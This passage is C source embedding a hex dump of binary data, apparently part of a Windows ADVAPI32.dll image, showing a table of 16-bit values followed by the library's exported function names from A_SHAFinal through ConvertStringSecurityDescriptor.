"\xE1\x00\xE2\x00\xE3\x00\xE4\x00\xE5\x00\xE6\x00\xE7\x00\xE8\x00" //á.â.ã.ä.å.æ.ç.è. /* 7E292E40 */ "\xE9\x00\xEA\x00\xEB\x00\xEC\x00\xED\x00\xEE\x00\xEF\x00\xF0\x00" //é.ê.ë.ì.í.î.ï.ð. /* 7E292E60 */ "\xF1\x00\xF2\x00\xF3\x00\xF4\x00\xF5\x00\xF6\x00\xF7\x00\xF8\x00" //ñ.ò.ó.ô.õ.ö.÷.ø. /* 7E292E80 */ "\xF9\x00\xFA\x00\xFB\x00\xFC\x00\xFD\x00\xFE\x00\xFF\x00\x00\x01" //ù.ú.û.ü.ý.þ.ÿ... /* 7E292EA0 */ "\x01\x01\x02\x01\x03\x01\x04\x01\x05\x01\x06\x01\x07\x01\x08\x01" //................ /* 7E292EC0 */ "\x09\x01\x0A\x01\x0B\x01\x0C\x01\x0D\x01\x0E\x01\x0F\x01\x10\x01" //................ /* 7E292EE0 */ "\x11\x01\x12\x01\x13\x01\x14\x01\x15\x01\x16\x01\x17\x01\x18\x01" //................ /* 7E292F00 */ "\x19\x01\x1A\x01\x1B\x01\x1C\x01\x1D\x01\x1E\x01\x1F\x01\x20\x01" //................ /* 7E292F20 */ "\x21\x01\x22\x01\x23\x01\x24\x01\x25\x01\x26\x01\x00\x00\x27\x01" //!.".#.$.%.&...'. /* 7E292F40 */ "\x28\x01\x29\x01\x2A\x01\x2B\x01\x2C\x01\x2D\x01\x2E\x01\x2F\x01" //(.).*.+.,.-.../. /* 7E292F60 */ "\x30\x01\x31\x01\x32\x01\x33\x01\x34\x01\x35\x01\x36\x01\x37\x01" //0.1.2.3.4.5.6.7. /* 7E292F80 */ "\x38\x01\x39\x01\x3A\x01\x3B\x01\x3C\x01\x3D\x01\x3E\x01\x3F\x01" //8.9.:.;.<.=.>.?. /* 7E292FA0 */ "\x40\x01\x41\x01\x42\x01\x43\x01\x44\x01\x45\x01\x46\x01\x47\x01" //@.A.B.C.D.E.F.G. /* 7E292FC0 */ "\x48\x01\x49\x01\x4A\x01\x4B\x01\x4C\x01\x4D\x01\x4E\x01\x4F\x01" //H.I.J.K.L.M.N.O. /* 7E292FE0 */ "\x50\x01\x51\x01\x52\x01\x53\x01\x54\x01\x55\x01\x56\x01\x57\x01" //P.Q.R.S.T.U.V.W. /* 7E293000 */ "\x58\x01\x59\x01\x5A\x01\x5B\x01\x5C\x01\x5D\x01\x5E\x01\x5F\x01" //X.Y.Z.[.\.].^._. /* 7E293020 */ "\x60\x01\x61\x01\x62\x01\x63\x01\x64\x01\x65\x01\x66\x01\x67\x01" //`.a.b.c.d.e.f.g. /* 7E293040 */ "\x68\x01\x69\x01\x6A\x01\x6B\x01\x6D\x01\x6C\x01\x6E\x01\x6F\x01" //h.i.j.k.m.l.n.o. /* 7E293060 */ "\x70\x01\x71\x01\x72\x01\x73\x01\x74\x01\x75\x01\x76\x01\x77\x01" //p.q.r.s.t.u.v.w. /* 7E293080 */ "\x78\x01\x79\x01\x7A\x01\x7B\x01\x7C\x01\x7D\x01\x7E\x01\x7F\x01" //x.y.z.{.|.}.~... /* 7E2930A0 */ "\x80\x01\x81\x01\x82\x01\x83\x01\x84\x01\x85\x01\x86\x01\x87\x01" //................ /* 7E2930C0 */ "\x88\x01\x89\x01\x8A\x01\x8B\x01\x8C\x01\x8D\x01\x8E\x01\x8F\x01" //................ /* 7E2930E0 */ "\x90\x01\x91\x01\x92\x01\x93\x01\x94\x01\x96\x01\x95\x01\x98\x01" //................ /* 7E293100 */ "\x97\x01\x99\x01\x9A\x01\x9B\x01\x9C\x01\x9D\x01\x9E\x01\x9F\x01" //................ /* 7E293120 */ "\xA0\x01\xA1\x01\xA2\x01\xA3\x01\xA4\x01\xA5\x01\xA6\x01\xA7\x01" //................ /* 7E293140 */ "\xA8\x01\xA9\x01\xAA\x01\xAB\x01\xAC\x01\xAD\x01\xAE\x01\xAF\x01" //................ /* 7E293160 */ "\xB0\x01\xB1\x01\xB2\x01\xB3\x01\xB4\x01\xB5\x01\xB6\x01\xB7\x01" //................ /* 7E293180 */ "\xB8\x01\xB9\x01\xBA\x01\xBB\x01\xBC\x01\xBD\x01\xBE\x01\xBF\x01" //................ /* 7E2931A0 */ "\xC0\x01\xC1\x01\xC2\x01\xC3\x01\xC4\x01\xC5\x01\xC6\x01\xC7\x01" //À.Á.Â.Ã.Ä.Å.Æ.Ç. /* 7E2931C0 */ "\xC8\x01\xC9\x01\xCA\x01\xCB\x01\xCC\x01\xCD\x01\xCE\x01\xCF\x01" //È.É.Ê.Ë.Ì.Í.Î.Ï. /* 7E2931E0 */ "\xD0\x01\xD1\x01\xD2\x01\xD3\x01\xD4\x01\xD5\x01\xD6\x01\xD7\x01" //Ð.Ñ.Ò.Ó.Ô.Õ.Ö.×. /* 7E293200 */ "\xD8\x01\xD9\x01\xDA\x01\xDB\x01\xDC\x01\xDD\x01\xDE\x01\xDF\x01" //Ø.Ù.Ú.Û.Ü.Ý.Þ.ß. /* 7E293220 */ "\xE0\x01\xE1\x01\xE2\x01\xE3\x01\xE4\x01\xE5\x01\xE6\x01\xE7\x01" //à.á.â.ã.ä.å.æ.ç. /* 7E293240 */ "\xE8\x01\xE9\x01\xEA\x01\xEB\x01\xEC\x01\xED\x01\xEE\x01\xEF\x01" //è.é.ê.ë.ì.í.î.ï. /* 7E293260 */ "\xF0\x01\xF1\x01\xF2\x01\xF3\x01\xF4\x01\xF5\x01\xF6\x01\xF7\x01" //ð.ñ.ò.ó.ô.õ.ö.÷. /* 7E293280 */ "\xF8\x01\xF9\x01\xFA\x01\xFB\x01\xFC\x01\xFD\x01\xFE\x01\xFF\x01" //ø.ù.ú.û.ü.ý.þ.ÿ. /* 7E2932A0 */ "\x00\x02\x01\x02\x02\x02\x03\x02\x04\x02\x05\x02\x06\x02\x07\x02" //................ /* 7E2932C0 */ "\x08\x02\x09\x02\x0A\x02\x0B\x02\x0C\x02\x0D\x02\x0E\x02\x0F\x02" //................ /* 7E2932E0 */ "\x10\x02\x11\x02\x12\x02\x13\x02\x14\x02\x15\x02\x16\x02\x17\x02" //................ /* 7E293300 */ "\x18\x02\x19\x02\x1A\x02\x1B\x02\x1C\x02\x1D\x02\x1E\x02\x1F\x02" //................ /* 7E293320 */ "\x20\x02\x21\x02\x22\x02\x23\x02\x24\x02\x25\x02\x26\x02\x27\x02" //..!.".#.$.%.&.'. /* 7E293340 */ "\x28\x02\x29\x02\x2A\x02\x2B\x02\x2C\x02\x2D\x02\x2E\x02\x2F\x02" //(.).*.+.,.-.../. /* 7E293360 */ "\x30\x02\x31\x02\x32\x02\x33\x02\x34\x02\x35\x02\x36\x02\x37\x02" //0.1.2.3.4.5.6.7. /* 7E293380 */ "\x38\x02\x39\x02\x3A\x02\x3B\x02\x3C\x02\x3D\x02\x3E\x02\x3F\x02" //8.9.:.;.<.=.>.?. /* 7E2933A0 */ "\x40\x02\x41\x02\x42\x02\x43\x02\x44\x02\x45\x02\x46\x02\x47\x02" //@.A.B.C.D.E.F.G. /* 7E2933C0 */ "\x48\x02\x49\x02\x4A\x02\x4B\x02\x4C\x02\x4D\x02\x4E\x02\x4F\x02" //H.I.J.K.L.M.N.O. /* 7E2933E0 */ "\x50\x02\x51\x02\x52\x02\x53\x02\x54\x02\x55\x02\x56\x02\x57\x02" //P.Q.R.S.T.U.V.W. /* 7E293400 */ "\x58\x02\x59\x02\x5A\x02\x5B\x02\x5C\x02\x5D\x02\x5E\x02\x5F\x02" //X.Y.Z.[.\.].^._. /* 7E293420 */ "\x60\x02\x61\x02\x62\x02\x63\x02\x64\x02\x65\x02\x66\x02\x67\x02" //`.a.b.c.d.e.f.g. /* 7E293440 */ "\x68\x02\x69\x02\x6A\x02\x6B\x02\x6C\x02\x6D\x02\x6E\x02\x6F\x02" //h.i.j.k.l.m.n.o. /* 7E293460 */ "\x70\x02\x71\x02\x72\x02\x73\x02\x74\x02\x75\x02\x76\x02\x77\x02" //p.q.r.s.t.u.v.w. /* 7E293480 */ "\x78\x02\x79\x02\x7A\x02\x7B\x02\x7C\x02\x7D\x02\x7E\x02\x7F\x02" //x.y.z.{.|.}.~... /* 7E2934A0 */ "\x80\x02\x81\x02\x82\x02\x83\x02\x84\x02\x85\x02\x86\x02\x87\x02" //................ /* 7E2934C0 */ "\x88\x02\x89\x02\x8A\x02\x8B\x02\x8C\x02\x8D\x02\x8E\x02\x8F\x02" //................ /* 7E2934E0 */ "\x90\x02\x91\x02\x92\x02\x93\x02\x94\x02\x95\x02\x96\x02\x97\x02" //................ /* 7E293500 */ "\x98\x02\x99\x02\x9A\x02\x9B\x02\x9C\x02\x9D\x02\x9E\x02\x9F\x02" //................ /* 7E293520 */ "\xA0\x02\xA1\x02\xA2\x02\xA3\x02\xA4\x02\x41\x44\x56\x41\x50\x49" //..........ADVAPI /* 7E293540 */ "\x33\x32\x2E\x64\x6C\x6C\x00\x41\x5F\x53\x48\x41\x46\x69\x6E\x61" //32.dll.A_SHAFina /* 7E293560 */ "\x6C\x00\x41\x5F\x53\x48\x41\x49\x6E\x69\x74\x00\x41\x5F\x53\x48" //l.A_SHAInit.A_SH /* 7E293580 */ "\x41\x55\x70\x64\x61\x74\x65\x00\x41\x62\x6F\x72\x74\x53\x79\x73" //AUpdate.AbortSys /* 7E2935A0 */ "\x74\x65\x6D\x53\x68\x75\x74\x64\x6F\x77\x6E\x41\x00\x41\x62\x6F" //temShutdownA.Abo /* 7E2935C0 */ "\x72\x74\x53\x79\x73\x74\x65\x6D\x53\x68\x75\x74\x64\x6F\x77\x6E" //rtSystemShutdown /* 7E2935E0 */ "\x57\x00\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x00\x41\x63" //W.AccessCheck.Ac /* 7E293600 */ "\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x41\x6E\x64\x41\x75\x64\x69" //cessCheckAndAudi /* 7E293620 */ "\x74\x41\x6C\x61\x72\x6D\x41\x00\x41\x63\x63\x65\x73\x73\x43\x68" //tAlarmA.AccessCh /* 7E293640 */ "\x65\x63\x6B\x41\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D" //eckAndAuditAlarm /* 7E293660 */ "\x57\x00\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54" //W.AccessCheckByT /* 7E293680 */ "\x79\x70\x65\x00\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42" //ype.AccessCheckB /* 7E2936A0 */ "\x79\x54\x79\x70\x65\x41\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61" //yTypeAndAuditAla /* 7E2936C0 */ "\x72\x6D\x41\x00\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42" //rmA.AccessCheckB /* 7E2936E0 */ "\x79\x54\x79\x70\x65\x41\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61" //yTypeAndAuditAla /* 7E293700 */ "\x72\x6D\x57\x00\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42" //rmW.AccessCheckB /* 7E293720 */ "\x79\x54\x79\x70\x65\x52\x65\x73\x75\x6C\x74\x4C\x69\x73\x74\x00" //yTypeResultList. /* 7E293740 */ "\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54\x79\x70" //AccessCheckByTyp /* 7E293760 */ "\x65\x52\x65\x73\x75\x6C\x74\x4C\x69\x73\x74\x41\x6E\x64\x41\x75" //eResultListAndAu /* 7E293780 */ "\x64\x69\x74\x41\x6C\x61\x72\x6D\x41\x00\x41\x63\x63\x65\x73\x73" //ditAlarmA.Access /* 7E2937A0 */ "\x43\x68\x65\x63\x6B\x42\x79\x54\x79\x70\x65\x52\x65\x73\x75\x6C" //CheckByTypeResul /* 7E2937C0 */ "\x74\x4C\x69\x73\x74\x41\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61" //tListAndAuditAla /* 7E2937E0 */ "\x72\x6D\x42\x79\x48\x61\x6E\x64\x6C\x65\x41\x00\x41\x63\x63\x65" //rmByHandleA.Acce /* 7E293800 */ "\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54\x79\x70\x65\x52\x65\x73" //ssCheckByTypeRes /* 7E293820 */ "\x75\x6C\x74\x4C\x69\x73\x74\x41\x6E\x64\x41\x75\x64\x69\x74\x41" //ultListAndAuditA /* 7E293840 */ "\x6C\x61\x72\x6D\x42\x79\x48\x61\x6E\x64\x6C\x65\x57\x00\x41\x63" //larmByHandleW.Ac /* 7E293860 */ "\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54\x79\x70\x65\x52" //cessCheckByTypeR /* 7E293880 */ "\x65\x73\x75\x6C\x74\x4C\x69\x73\x74\x41\x6E\x64\x41\x75\x64\x69" //esultListAndAudi /* 7E2938A0 */ "\x74\x41\x6C\x61\x72\x6D\x57\x00\x41\x64\x64\x41\x63\x63\x65\x73" //tAlarmW.AddAcces /* 7E2938C0 */ "\x73\x41\x6C\x6C\x6F\x77\x65\x64\x41\x63\x65\x00\x41\x64\x64\x41" //sAllowedAce.AddA /* 7E2938E0 */ "\x63\x63\x65\x73\x73\x41\x6C\x6C\x6F\x77\x65\x64\x41\x63\x65\x45" //ccessAllowedAceE /* 7E293900 */ "\x78\x00\x41\x64\x64\x41\x63\x63\x65\x73\x73\x41\x6C\x6C\x6F\x77" //x.AddAccessAllow /* 7E293920 */ "\x65\x64\x4F\x62\x6A\x65\x63\x74\x41\x63\x65\x00\x41\x64\x64\x41" //edObjectAce.AddA /* 7E293940 */ "\x63\x63\x65\x73\x73\x44\x65\x6E\x69\x65\x64\x41\x63\x65\x00\x41" //ccessDeniedAce.A /* 7E293960 */ "\x64\x64\x41\x63\x63\x65\x73\x73\x44\x65\x6E\x69\x65\x64\x41\x63" //ddAccessDeniedAc /* 7E293980 */ "\x65\x45\x78\x00\x41\x64\x64\x41\x63\x63\x65\x73\x73\x44\x65\x6E" //eEx.AddAccessDen /* 7E2939A0 */ "\x69\x65\x64\x4F\x62\x6A\x65\x63\x74\x41\x63\x65\x00\x41\x64\x64" //iedObjectAce.Add /* 7E2939C0 */ "\x41\x63\x65\x00\x41\x64\x64\x41\x75\x64\x69\x74\x41\x63\x63\x65" //Ace.AddAuditAcce /* 7E2939E0 */ "\x73\x73\x41\x63\x65\x00\x41\x64\x64\x41\x75\x64\x69\x74\x41\x63" //ssAce.AddAuditAc /* 7E293A00 */ "\x63\x65\x73\x73\x41\x63\x65\x45\x78\x00\x41\x64\x64\x41\x75\x64" //cessAceEx.AddAud /* 7E293A20 */ "\x69\x74\x41\x63\x63\x65\x73\x73\x4F\x62\x6A\x65\x63\x74\x41\x63" //itAccessObjectAc /* 7E293A40 */ "\x65\x00\x41\x64\x64\x55\x73\x65\x72\x73\x54\x6F\x45\x6E\x63\x72" //e.AddUsersToEncr /* 7E293A60 */ "\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x00\x41\x64\x6A\x75\x73\x74" //yptedFile.Adjust /* 7E293A80 */ "\x54\x6F\x6B\x65\x6E\x47\x72\x6F\x75\x70\x73\x00\x41\x64\x6A\x75" //TokenGroups.Adju /* 7E293AA0 */ "\x73\x74\x54\x6F\x6B\x65\x6E\x50\x72\x69\x76\x69\x6C\x65\x67\x65" //stTokenPrivilege /* 7E293AC0 */ "\x73\x00\x41\x6C\x6C\x6F\x63\x61\x74\x65\x41\x6E\x64\x49\x6E\x69" //s.AllocateAndIni /* 7E293AE0 */ "\x74\x69\x61\x6C\x69\x7A\x65\x53\x69\x64\x00\x41\x6C\x6C\x6F\x63" //tializeSid.Alloc /* 7E293B00 */ "\x61\x74\x65\x4C\x6F\x63\x61\x6C\x6C\x79\x55\x6E\x69\x71\x75\x65" //ateLocallyUnique /* 7E293B20 */ "\x49\x64\x00\x41\x72\x65\x41\x6C\x6C\x41\x63\x63\x65\x73\x73\x65" //Id.AreAllAccesse /* 7E293B40 */ "\x73\x47\x72\x61\x6E\x74\x65\x64\x00\x41\x72\x65\x41\x6E\x79\x41" //sGranted.AreAnyA /* 7E293B60 */ "\x63\x63\x65\x73\x73\x65\x73\x47\x72\x61\x6E\x74\x65\x64\x00\x42" //ccessesGranted.B /* 7E293B80 */ "\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74\x4C\x6F\x67\x41\x00\x42" //ackupEventLogA.B /* 7E293BA0 */ "\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74\x4C\x6F\x67\x57\x00\x42" //ackupEventLogW.B /* 7E293BC0 */ "\x75\x69\x6C\x64\x45\x78\x70\x6C\x69\x63\x69\x74\x41\x63\x63\x65" //uildExplicitAcce /* 7E293BE0 */ "\x73\x73\x57\x69\x74\x68\x4E\x61\x6D\x65\x41\x00\x42\x75\x69\x6C" //ssWithNameA.Buil /* 7E293C00 */ "\x64\x45\x78\x70\x6C\x69\x63\x69\x74\x41\x63\x63\x65\x73\x73\x57" //dExplicitAccessW /* 7E293C20 */ "\x69\x74\x68\x4E\x61\x6D\x65\x57\x00\x42\x75\x69\x6C\x64\x49\x6D" //ithNameW.BuildIm /* 7E293C40 */ "\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x45\x78\x70\x6C\x69\x63\x69" //personateExplici /* 7E293C60 */ "\x74\x41\x63\x63\x65\x73\x73\x57\x69\x74\x68\x4E\x61\x6D\x65\x41" //tAccessWithNameA /* 7E293C80 */ "\x00\x42\x75\x69\x6C\x64\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61\x74" //.BuildImpersonat /* 7E293CA0 */ "\x65\x45\x78\x70\x6C\x69\x63\x69\x74\x41\x63\x63\x65\x73\x73\x57" //eExplicitAccessW /* 7E293CC0 */ "\x69\x74\x68\x4E\x61\x6D\x65\x57\x00\x42\x75\x69\x6C\x64\x49\x6D" //ithNameW.BuildIm /* 7E293CE0 */ "\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x54\x72\x75\x73\x74\x65\x65" //personateTrustee /* 7E293D00 */ "\x41\x00\x42\x75\x69\x6C\x64\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61" //A.BuildImpersona /* 7E293D20 */ "\x74\x65\x54\x72\x75\x73\x74\x65\x65\x57\x00\x42\x75\x69\x6C\x64" //teTrusteeW.Build /* 7E293D40 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74" //SecurityDescript /* 7E293D60 */ "\x6F\x72\x41\x00\x42\x75\x69\x6C\x64\x53\x65\x63\x75\x72\x69\x74" //orA.BuildSecurit /* 7E293D80 */ "\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x57\x00\x42\x75\x69" //yDescriptorW.Bui /* 7E293DA0 */ "\x6C\x64\x54\x72\x75\x73\x74\x65\x65\x57\x69\x74\x68\x4E\x61\x6D" //ldTrusteeWithNam /* 7E293DC0 */ "\x65\x41\x00\x42\x75\x69\x6C\x64\x54\x72\x75\x73\x74\x65\x65\x57" //eA.BuildTrusteeW /* 7E293DE0 */ "\x69\x74\x68\x4E\x61\x6D\x65\x57\x00\x42\x75\x69\x6C\x64\x54\x72" //ithNameW.BuildTr /* 7E293E00 */ "\x75\x73\x74\x65\x65\x57\x69\x74\x68\x4F\x62\x6A\x65\x63\x74\x73" //usteeWithObjects /* 7E293E20 */ "\x41\x6E\x64\x4E\x61\x6D\x65\x41\x00\x42\x75\x69\x6C\x64\x54\x72" //AndNameA.BuildTr /* 7E293E40 */ "\x75\x73\x74\x65\x65\x57\x69\x74\x68\x4F\x62\x6A\x65\x63\x74\x73" //usteeWithObjects /* 7E293E60 */ "\x41\x6E\x64\x4E\x61\x6D\x65\x57\x00\x42\x75\x69\x6C\x64\x54\x72" //AndNameW.BuildTr /* 7E293E80 */ "\x75\x73\x74\x65\x65\x57\x69\x74\x68\x4F\x62\x6A\x65\x63\x74\x73" //usteeWithObjects /* 7E293EA0 */ "\x41\x6E\x64\x53\x69\x64\x41\x00\x42\x75\x69\x6C\x64\x54\x72\x75" //AndSidA.BuildTru /* 7E293EC0 */ "\x73\x74\x65\x65\x57\x69\x74\x68\x4F\x62\x6A\x65\x63\x74\x73\x41" //steeWithObjectsA /* 7E293EE0 */ "\x6E\x64\x53\x69\x64\x57\x00\x42\x75\x69\x6C\x64\x54\x72\x75\x73" //ndSidW.BuildTrus /* 7E293F00 */ "\x74\x65\x65\x57\x69\x74\x68\x53\x69\x64\x41\x00\x42\x75\x69\x6C" //teeWithSidA.Buil /* 7E293F20 */ "\x64\x54\x72\x75\x73\x74\x65\x65\x57\x69\x74\x68\x53\x69\x64\x57" //dTrusteeWithSidW /* 7E293F40 */ "\x00\x43\x61\x6E\x63\x65\x6C\x4F\x76\x65\x72\x6C\x61\x70\x70\x65" //.CancelOverlappe /* 7E293F60 */ "\x64\x41\x63\x63\x65\x73\x73\x00\x43\x68\x61\x6E\x67\x65\x53\x65" //dAccess.ChangeSe /* 7E293F80 */ "\x72\x76\x69\x63\x65\x43\x6F\x6E\x66\x69\x67\x32\x41\x00\x43\x68" //rviceConfig2A.Ch /* 7E293FA0 */ "\x61\x6E\x67\x65\x53\x65\x72\x76\x69\x63\x65\x43\x6F\x6E\x66\x69" //angeServiceConfi /* 7E293FC0 */ "\x67\x32\x57\x00\x43\x68\x61\x6E\x67\x65\x53\x65\x72\x76\x69\x63" //g2W.ChangeServic /* 7E293FE0 */ "\x65\x43\x6F\x6E\x66\x69\x67\x41\x00\x43\x68\x61\x6E\x67\x65\x53" //eConfigA.ChangeS /* 7E294000 */ "\x65\x72\x76\x69\x63\x65\x43\x6F\x6E\x66\x69\x67\x57\x00\x43\x68" //erviceConfigW.Ch /* 7E294020 */ "\x65\x63\x6B\x54\x6F\x6B\x65\x6E\x4D\x65\x6D\x62\x65\x72\x73\x68" //eckTokenMembersh /* 7E294040 */ "\x69\x70\x00\x43\x6C\x65\x61\x72\x45\x76\x65\x6E\x74\x4C\x6F\x67" //ip.ClearEventLog /* 7E294060 */ "\x41\x00\x43\x6C\x65\x61\x72\x45\x76\x65\x6E\x74\x4C\x6F\x67\x57" //A.ClearEventLogW /* 7E294080 */ "\x00\x43\x6C\x6F\x73\x65\x43\x6F\x64\x65\x41\x75\x74\x68\x7A\x4C" //.CloseCodeAuthzL /* 7E2940A0 */ "\x65\x76\x65\x6C\x00\x43\x6C\x6F\x73\x65\x45\x6E\x63\x72\x79\x70" //evel.CloseEncryp /* 7E2940C0 */ "\x74\x65\x64\x46\x69\x6C\x65\x52\x61\x77\x00\x43\x6C\x6F\x73\x65" //tedFileRaw.Close /* 7E2940E0 */ "\x45\x76\x65\x6E\x74\x4C\x6F\x67\x00\x43\x6C\x6F\x73\x65\x53\x65" //EventLog.CloseSe /* 7E294100 */ "\x72\x76\x69\x63\x65\x48\x61\x6E\x64\x6C\x65\x00\x43\x6C\x6F\x73" //rviceHandle.Clos /* 7E294120 */ "\x65\x54\x72\x61\x63\x65\x00\x43\x6F\x6D\x6D\x61\x6E\x64\x4C\x69" //eTrace.CommandLi /* 7E294140 */ "\x6E\x65\x46\x72\x6F\x6D\x4D\x73\x69\x44\x65\x73\x63\x72\x69\x70" //neFromMsiDescrip /* 7E294160 */ "\x74\x6F\x72\x00\x43\x6F\x6D\x70\x75\x74\x65\x41\x63\x63\x65\x73" //tor.ComputeAcces /* 7E294180 */ "\x73\x54\x6F\x6B\x65\x6E\x46\x72\x6F\x6D\x43\x6F\x64\x65\x41\x75" //sTokenFromCodeAu /* 7E2941A0 */ "\x74\x68\x7A\x4C\x65\x76\x65\x6C\x00\x43\x6F\x6E\x74\x72\x6F\x6C" //thzLevel.Control /* 7E2941C0 */ "\x53\x65\x72\x76\x69\x63\x65\x00\x43\x6F\x6E\x74\x72\x6F\x6C\x54" //Service.ControlT /* 7E2941E0 */ "\x72\x61\x63\x65\x41\x00\x43\x6F\x6E\x74\x72\x6F\x6C\x54\x72\x61" //raceA.ControlTra /* 7E294200 */ "\x63\x65\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x41\x63\x63\x65\x73" //ceW.ConvertAcces /* 7E294220 */ "\x73\x54\x6F\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72" //sToSecurityDescr /* 7E294240 */ "\x69\x70\x74\x6F\x72\x41\x00\x43\x6F\x6E\x76\x65\x72\x74\x41\x63" //iptorA.ConvertAc /* 7E294260 */ "\x63\x65\x73\x73\x54\x6F\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65" //cessToSecurityDe /* 7E294280 */ "\x73\x63\x72\x69\x70\x74\x6F\x72\x57\x00\x43\x6F\x6E\x76\x65\x72" //scriptorW.Conver /* 7E2942A0 */ "\x74\x53\x44\x54\x6F\x53\x74\x72\x69\x6E\x67\x53\x44\x52\x6F\x6F" //tSDToStringSDRoo /* 7E2942C0 */ "\x74\x44\x6F\x6D\x61\x69\x6E\x41\x00\x43\x6F\x6E\x76\x65\x72\x74" //tDomainA.Convert /* 7E2942E0 */ "\x53\x44\x54\x6F\x53\x74\x72\x69\x6E\x67\x53\x44\x52\x6F\x6F\x74" //SDToStringSDRoot /* 7E294300 */ "\x44\x6F\x6D\x61\x69\x6E\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x53" //DomainW.ConvertS /* 7E294320 */ "\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F" //ecurityDescripto /* 7E294340 */ "\x72\x54\x6F\x41\x63\x63\x65\x73\x73\x41\x00\x43\x6F\x6E\x76\x65" //rToAccessA.Conve /* 7E294360 */ "\x72\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69" //rtSecurityDescri /* 7E294380 */ "\x70\x74\x6F\x72\x54\x6F\x41\x63\x63\x65\x73\x73\x4E\x61\x6D\x65" //ptorToAccessName /* 7E2943A0 */ "\x64\x41\x00\x43\x6F\x6E\x76\x65\x72\x74\x53\x65\x63\x75\x72\x69" //dA.ConvertSecuri /* 7E2943C0 */ "\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x54\x6F\x41\x63" //tyDescriptorToAc /* 7E2943E0 */ "\x63\x65\x73\x73\x4E\x61\x6D\x65\x64\x57\x00\x43\x6F\x6E\x76\x65" //cessNamedW.Conve /* 7E294400 */ "\x72\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69" //rtSecurityDescri /* 7E294420 */ "\x70\x74\x6F\x72\x54\x6F\x41\x63\x63\x65\x73\x73\x57\x00\x43\x6F" //ptorToAccessW.Co /* 7E294440 */ "\x6E\x76\x65\x72\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73" //nvertSecurityDes /* 7E294460 */ "\x63\x72\x69\x70\x74\x6F\x72\x54\x6F\x53\x74\x72\x69\x6E\x67\x53" //criptorToStringS /* 7E294480 */ "\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F" //ecurityDescripto /* 7E2944A0 */ "\x72\x41\x00\x43\x6F\x6E\x76\x65\x72\x74\x53\x65\x63\x75\x72\x69" //rA.ConvertSecuri /* 7E2944C0 */ "\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x54\x6F\x53\x74" //tyDescriptorToSt /* 7E2944E0 */ "\x72\x69\x6E\x67\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63" //ringSecurityDesc /* 7E294500 */ "\x72\x69\x70\x74\x6F\x72\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x53" //riptorW.ConvertS /* 7E294520 */ "\x69\x64\x54\x6F\x53\x74\x72\x69\x6E\x67\x53\x69\x64\x41\x00\x43" //idToStringSidA.C /* 7E294540 */ "\x6F\x6E\x76\x65\x72\x74\x53\x69\x64\x54\x6F\x53\x74\x72\x69\x6E" //onvertSidToStrin /* 7E294560 */ "\x67\x53\x69\x64\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x53\x74\x72" //gSidW.ConvertStr /* 7E294580 */ "\x69\x6E\x67\x53\x44\x54\x6F\x53\x44\x44\x6F\x6D\x61\x69\x6E\x41" //ingSDToSDDomainA /* 7E2945A0 */ "\x00\x43\x6F\x6E\x76\x65\x72\x74\x53\x74\x72\x69\x6E\x67\x53\x44" //.ConvertStringSD /* 7E2945C0 */ "\x54\x6F\x53\x44\x44\x6F\x6D\x61\x69\x6E\x57\x00\x43\x6F\x6E\x76" //ToSDDomainW.Conv /* 7E2945E0 */ "\x65\x72\x74\x53\x74\x72\x69\x6E\x67\x53\x44\x54\x6F\x53\x44\x52" //ertStringSDToSDR /* 7E294600 */ "\x6F\x6F\x74\x44\x6F\x6D\x61\x69\x6E\x41\x00\x43\x6F\x6E\x76\x65" //ootDomainA.Conve /* 7E294620 */ "\x72\x74\x53\x74\x72\x69\x6E\x67\x53\x44\x54\x6F\x53\x44\x52\x6F" //rtStringSDToSDRo /* 7E294640 */ "\x6F\x74\x44\x6F\x6D\x61\x69\x6E\x57\x00\x43\x6F\x6E\x76\x65\x72" //otDomainW.Conver /* 7E294660 */ "\x74\x53\x74\x72\x69\x6E\x67\x53\x65\x63\x75\x72\x69\x74\x79\x44" //tStringSecurityD /* 7E294680 */ "\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x54\x6F\x53\x65\x63\x75\x72" //escriptorToSecur /* 7E2946A0 */ "\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x41\x00\x43" //ityDescriptorA.C /* 7E2946C0 */ "\x6F\x6E\x76\x65\x72\x74\x53\x74\x72\x69\x6E\x67\x53\x65\x63\x75" //onvertStringSecu /* 